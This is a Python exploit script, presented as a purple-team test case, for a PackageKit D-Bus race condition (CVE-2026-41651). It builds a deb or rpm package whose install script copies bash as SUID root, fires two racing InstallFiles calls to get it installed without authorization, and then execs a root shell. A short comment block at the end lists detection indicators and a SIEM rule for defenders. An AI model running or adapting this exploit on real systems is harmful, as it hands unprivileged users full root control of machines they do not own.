#!/usr/bin/env python3
"""
CVE-2026-41651 - PackageKit TOCTOU Privilege Escalation
Purple Team Test Case | FOR AUTHORIZED USE ON TEST SYSTEMS ONLY

Vulnerability: TOCTOU race in PackageKit's D-Bus transaction handling.
A client can call InstallFiles twice on the same transaction — once with
FLAG_SIMULATE (triggering authorization) and immediately again with FLAG_NONE
(real install) before the auth check resolves. The second call's payload
executes with root privileges.

Fix: PackageKit 1.3.5 (commit 76cfb675) — state guard in pk-transaction.c
     rejects re-invocation of action methods after PK_TRANSACTION_STATE_NEW.

Supports: Debian/Ubuntu (dpkg-deb) and RHEL/Fedora/SUSE (rpmbuild)
Requires: python3-gi (GObject introspection bindings)

Hardening notes:
  - Explicit 0o755/0o644 chmod on all build artifacts overrides restrictive umask
    (e.g. 027/077) that would otherwise make build trees unreadable to dpkg-deb/rpmbuild.
  - SUID drop directory is resolved at runtime by probing /proc/mounts for nosuid/noexec
    flags. Candidates tried in order: /var/tmp, /dev/shm, /tmp, $HOME.
"""

import os
import sys
import shutil
import subprocess
import time
from pathlib import Path

try:
    from gi.repository import Gio, GLib
except ImportError:
    sys.exit("[-] Missing python3-gi. Install: apt install python3-gi  OR  dnf install python3-gobject")

# ── Config ───────────────────────────────────────────────────────────────────

SUID_FILENAME = ".suid_bash"            # resolved into a writable, suid/exec-capable dir at runtime
PK_BUS        = "org.freedesktop.PackageKit"
PK_OBJ      = "/org/freedesktop/PackageKit"
PK_IFACE    = "org.freedesktop.PackageKit"
TX_IFACE    = "org.freedesktop.PackageKit.Transaction"
POLL_SECS   = 90

FLAG_SIMULATE = 4   # PK_TRANSACTION_FLAG_SIMULATE — triggers auth but does not install
FLAG_NONE     = 0   # No flags — real install

# ── Mount-flag helpers ────────────────────────────────────────────────────────

def _mount_flags(path: str) -> set:
    """Return the mount option set for the filesystem that owns *path*."""
    path = os.path.realpath(path)
    best, flags = "", set()
    try:
        with open("/proc/mounts") as fh:
            for line in fh:
                parts = line.split()
                if len(parts) < 4:
                    continue
                mnt = parts[1]
                if path.startswith(mnt) and len(mnt) > len(best):
                    best  = mnt
                    flags = set(parts[3].split(","))
    except OSError:
        pass
    return flags


def _find_suid_dir() -> str:
    """
    Return the first candidate directory that is writable and whose filesystem
    is mounted without 'nosuid' or 'noexec'.  Both flags must be absent:
      - nosuid  → SUID bit silently ignored, shell never becomes root
      - noexec  → binary cannot be executed at all
    Candidates are tried in preference order.
    """
    candidates = ["/var/tmp", "/dev/shm", "/tmp", os.path.expanduser("~")]
    for d in candidates:
        if not os.path.isdir(d) or not os.access(d, os.W_OK):
            continue
        flags = _mount_flags(d)
        if "nosuid" not in flags and "noexec" not in flags:
            return d
    sys.exit(
        "[-] No writable directory found that supports SUID + exec.\n"
        "    Tried: " + ", ".join(candidates)
    )


# ── Package builders ─────────────────────────────────────────────────────────

def _detect_pkg_mgr():
    if shutil.which("dpkg-deb"):
        return "deb"
    if shutil.which("rpmbuild"):
        return "rpm"
    sys.exit("[-] No supported package builder found (need dpkg-deb or rpmbuild)")


def _build_deb(out_path: str, pkg_name: str, postinst: str = None):
    build = Path(f"/tmp/pkbuild_{pkg_name}")
    deb   = build / "DEBIAN"
    deb.mkdir(parents=True, exist_ok=True)

    # Explicit permissions — overrides restrictive umask (e.g. 027/077) that
    # would leave directories as 750/700, making them unreadable to dpkg-deb.
    build.chmod(0o755)
    deb.chmod(0o755)

    ctrl = deb / "control"
    ctrl.write_text(
        f"Package: {pkg_name}\nVersion: 1.0\nArchitecture: all\n"
        f"Maintainer: purple-team\nDescription: CVE-2026-41651 test package\n"
    )
    ctrl.chmod(0o644)

    if postinst:
        pi = deb / "postinst"
        pi.write_text(f"#!/bin/sh\n{postinst}\n")
        pi.chmod(0o755)

    subprocess.run(
        ["dpkg-deb", "-b", str(build), out_path],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )
    shutil.rmtree(build, ignore_errors=True)


def _build_rpm(out_dir: str, pkg_name: str, post_script: str = None) -> str:
    topdir = Path(f"/tmp/rpmbuild_{pkg_name}")
    for sub in ("BUILD", "RPMS", "SOURCES", "SPECS", "SRPMS"):
        d = topdir / sub
        d.mkdir(parents=True, exist_ok=True)
        # Explicit 0o755 — same umask rationale as _build_deb; rpmbuild must be
        # able to traverse every subdirectory of _topdir.
        d.chmod(0o755)
    topdir.chmod(0o755)

    post_section = f"%post\n{post_script}\n" if post_script else ""
    spec_text = f"""%global _topdir {topdir}
Name:        {pkg_name}
Version:     1.0
Release:     1
Summary:     CVE-2026-41651 test package
License:     MIT
BuildArch:   noarch

%description
Purple team test package for CVE-2026-41651.

{post_section}
%files
"""
    spec_path = topdir / "SPECS" / f"{pkg_name}.spec"
    spec_path.write_text(spec_text)
    spec_path.chmod(0o644)

    subprocess.run(
        ["rpmbuild", "--define", f"_topdir {topdir}", "-bb", str(spec_path)],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )

    rpms = list((topdir / "RPMS").rglob("*.rpm"))
    if not rpms:
        sys.exit(f"[-] rpmbuild produced no output for {pkg_name}")

    dest = os.path.join(out_dir, f"{pkg_name}.rpm")
    shutil.copy2(str(rpms[0]), dest)
    shutil.rmtree(topdir, ignore_errors=True)
    return dest


def build_packages(pkg_mgr: str, suid_path: str):
    pid            = os.getpid()
    payload_script = f"install -m 4755 /bin/bash {suid_path}"

    if pkg_mgr == "deb":
        dummy   = f"/tmp/pk-dummy-{pid}.deb"
        payload = f"/tmp/pk-payload-{pid}.deb"
        _build_deb(dummy,   f"pk-dummy-{pid}")
        _build_deb(payload, f"pk-payload-{pid}", postinst=payload_script)
    else:
        dummy   = _build_rpm("/tmp", f"pk-dummy-{pid}")
        payload = _build_rpm("/tmp", f"pk-payload-{pid}", post_script=payload_script)

    return dummy, payload

# ── D-Bus / exploit logic ─────────────────────────────────────────────────────

def create_transaction(conn) -> str:
    res = conn.call_sync(
        PK_BUS, PK_OBJ, PK_IFACE, "CreateTransaction",
        None, GLib.VariantType("(o)"),
        Gio.DBusCallFlags.NONE, -1, None
    )
    return res.unpack()[0]


def fire_race(conn, tid: str, dummy: str, payload: str):
    """
    Send both InstallFiles calls on the same transaction object without waiting.

    Call 1 — FLAG_SIMULATE (4): PackageKit queues an authorization check for
              installing <dummy>. No install occurs yet.
    Call 2 — FLAG_NONE (0): Re-invokes InstallFiles on the same transaction
              with the real payload before the auth check resolves.  On
              vulnerable versions the state guard is absent, so the second
              call overwrites the queued parameters; when polkit grants auth
              the payload executes instead of the dummy.
    """
    conn.call(
        PK_BUS, tid, TX_IFACE, "InstallFiles",
        GLib.Variant("(tas)", (FLAG_SIMULATE, [dummy])),
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )
    conn.call(
        PK_BUS, tid, TX_IFACE, "InstallFiles",
        GLib.Variant("(tas)", (FLAG_NONE, [payload])),
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )
    conn.flush_sync(None)


def poll_suid(path: str, timeout: int) -> bool:
    print(f"[*] Polling for SUID at {path} ({timeout}s max)...")
    for _ in range(timeout):
        try:
            st = os.stat(path)
            if st.st_mode & 0o4000 and st.st_uid == 0:
                print(f"\n[+] Confirmed: {path} is SUID root (mode={oct(st.st_mode)})")
                return True
        except FileNotFoundError:
            pass
        print(".", end="", flush=True)
        time.sleep(1)
    print()
    return False

# ── Main ──────────────────────────────────────────────────────────────────────

def main():
    print("=" * 60)
    print("  CVE-2026-41651 — PackageKit TOCTOU LPE")
    print("  Purple Team Test Case | Authorized Use Only")
    print("=" * 60)
    print()

    if os.geteuid() == 0:
        sys.exit("[-] Must be run as an unprivileged user to demonstrate the bug")

    # Override any restrictive umask before creating build trees.
    # Without this, mkdir() may produce 750/700 dirs that dpkg-deb/rpmbuild
    # cannot traverse.  Explicit chmod calls in the builders are the primary
    # fix; this is a belt-and-suspenders safety net.
    os.umask(0o022)

    suid_dir  = _find_suid_dir()
    suid_path = os.path.join(suid_dir, SUID_FILENAME)
    print(f"[+] SUID drop directory: {suid_dir}  (no nosuid/noexec)")

    pkg_mgr = _detect_pkg_mgr()
    print(f"[+] Package format: {pkg_mgr.upper()}")

    print("[*] Building test packages...")
    dummy_path, payload_path = build_packages(pkg_mgr, suid_path)
    print(f"[+] Dummy pkg:   {dummy_path}")
    print(f"[+] Payload pkg: {payload_path}")
    print(f"[+] Payload installs SUID bash to: {suid_path}")
    print()

    print("[*] Connecting to system D-Bus...")
    conn = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)

    print("[*] Creating PackageKit transaction...")
    tid = create_transaction(conn)
    print(f"[+] Transaction ID: {tid}")
    print()

    print("[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...")
    fire_race(conn, tid, dummy_path, payload_path)

    success = poll_suid(suid_path, POLL_SECS)

    # Cleanup packages regardless of outcome
    for p in (dummy_path, payload_path):
        try:
            os.unlink(p)
        except OSError:
            pass

    if not success:
        print("[-] Exploit window missed — system may be patched or timing was unfavorable")
        print("[-] Note: this race is non-deterministic; retry if system is confirmed vulnerable")
        print(f"[-] Check PackageKit version: pkcon backend-details")
        sys.exit(1)

    print()
    print("[+] Dropping to root shell via SUID bash (-p preserves effective UID=0)")
    print("[+] --- ROOT SHELL FOLLOWS ---")
    print()
    os.execl(suid_path, suid_path, "-p")


# ── Detection artifacts (for the Blue side) ───────────────────────────────────
#
# Indicators defenders should look for:
#
#  D-Bus:
#   - Multiple rapid InstallFiles calls on the same transaction object path
#   - FLAG_SIMULATE (4) call immediately followed by FLAG_NONE (0) on same tid
#   - Audit rule: -w /usr/share/dbus-1/ -p wa
#
#  File system:
#   - Creation of SUID root binary in /tmp (mode 04755, owner root)
#   - dpkg-deb / rpmbuild invoked by non-root, non-package-manager process
#   - Transient .deb/.rpm files created in /tmp by unprivileged user
#
#  Process:
#   - bash process with UID != EUID (SUID execution)
#   - PackageKit (packagekitd) running postinst/post scripts from /tmp packages
#
#  Audit / syslog:
#   - packagekitd executing /bin/sh from a %post or postinst originating in /tmp
#   - polkit granting org.freedesktop.packagekit.package-install to local user
#     for a package not sourced from a trusted repository
#
# SIEM rule sketch (pseudo):
#   event.type == "process_start"
#   AND process.parent.name == "packagekitd"
#   AND process.name == "sh"
#   AND process.args matches "/tmp/*"

if __name__ == "__main__":
    main()